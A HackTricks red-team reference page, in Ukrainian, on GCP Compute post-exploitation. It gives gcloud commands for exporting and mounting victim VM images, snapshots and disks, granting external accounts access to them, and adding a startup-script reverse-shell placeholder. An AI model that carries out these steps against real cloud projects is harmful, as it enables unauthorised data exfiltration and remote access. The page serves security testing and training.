GCP - Compute Post Exploitation

Reading time: 5 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Compute

Для отримання додаткової інформації про Compute та VPC (мережі) перегляньте:

GCP - Compute Enum

Експорт та перевірка зображень локально

Це дозволить зловмиснику отримати доступ до даних, що містяться в уже існуючих зображеннях або створити нові зображення працюючих ВМ та отримати доступ до їхніх даних без доступу до працюючої ВМ.

Можливо експортувати зображення ВМ у бакет, а потім завантажити його та змонтувати локально за допомогою команди:

bash
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Для виконання цієї дії атакуючий може потребувати привілеїв над сховищем та, безумовно, привілеїв над cloudbuild, оскільки це сервіс, який буде запитано для виконання експорту.
Більше того, для цього кодування SA та compute SA потрібні привілейовані дозволи.
Сервісний обліковий запис cloudbuild <project-id>@cloudbuild.gserviceaccount.com потребує:

  • roles/iam.serviceAccountTokenCreator
  • roles/compute.admin
  • roles/iam.serviceAccountUser

А сервісний обліковий запис <project-id>-compute@developer.gserviceaccount.com потребує:

  • roles/compute.storageAdmin
  • roles/storage.objectAdmin

Експорт та перевірка знімків і дисків локально

Неможливо безпосередньо експортувати знімки та диски, але можливо перетворити знімок на диск, диск на образ і, слідуючи попередньому розділу, експортувати цей образ для перевірки локально.

bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Інспекція зображення, створюючи VM

З метою доступу до даних, збережених у зображенні або всередині запущеного VM, з якого зловмисник створив зображення, можливо надати зовнішньому обліковому запису доступ до зображення:

bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

і потім створіть нову VM з цього:

bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Якщо ви не могли надати доступ до вашого зовнішнього облікового запису через зображення, ви могли б запустити VM, використовуючи це зображення в проекті жертви та змусити метадані виконати зворотний шелл для доступу до зображення, додавши параметр:

bash
--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Інспекція знімка/диска, приєднуючи його до ВМ

З метою доступу до даних, збережених на диску або знімку, ви можете перетворити знімок на диск, диск на образ і слідувати попереднім крокам.

Або ви можете надати зовнішньому обліковому запису доступ до диска (якщо початковою точкою є знімок, надайте доступ до знімка або створіть диск з нього):

bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Прикріпіть диск до екземпляра:

bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Змонтуйте диск всередині VM:

  1. SSH у VM:
sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. Визначте диск: Після входу у VM визначте новий диск, перерахувавши дискові пристрої. Зазвичай ви можете знайти його як /dev/sdb, /dev/sdc тощо.
  2. Форматування та монтування диска (якщо це новий або сирий диск):
  • Створіть точку монтування:
sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • Змонтируйте диск:
sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

Якщо ви не можете надати доступ до зовнішнього проекту до знімка або диска, вам, можливо, потрібно буде виконати ці дії всередині екземпляра в тому ж проекті, що й знімок/диск.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks